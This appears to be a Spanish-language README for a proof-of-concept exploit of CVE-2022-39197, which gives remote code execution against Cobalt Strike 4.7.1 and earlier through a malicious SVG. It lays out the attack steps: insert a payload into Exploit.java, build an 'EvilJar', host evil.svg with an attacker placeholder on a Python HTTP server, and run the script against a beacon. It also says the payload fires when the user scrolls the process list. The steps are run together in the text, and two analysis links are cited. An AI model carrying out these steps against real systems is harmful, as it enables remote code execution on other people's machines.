its-arun/cve-2022-39197Exploit de prueba de concepto para CVE-2022-39197, que permite la ejecución remota de código contra CobaltStrike <= 4.7.1 mediante una carga útil SVG maliciosa servida a través de HTTP.
Line 19 con tu payload en EvilJar/src/main/java/Exploit.javamvn clean compile assembly:singleEvilJar-1.0-jar-with-dependencies.jar desde EvilJar/target/ a la carpeta serve/serve\evil.svg y reemplaza [attacker]python3 -m http.server 8080python3 cve-2022-39197.py beacon.exe http://10.10.10.2:8080/evil.svg
El payload se activará tan pronto como el usuario se desplace por la Lista de Procesos
https://mp.weixin.qq.com/s/Eb0pQ-1ebLSKPUFC7zS6dg — Hay un gran análisis en profundidad de esta vulnerabilidad https://www.agarri.fr/blog/archives/2012/05/11/svg_files_and_java_code_execution/index.html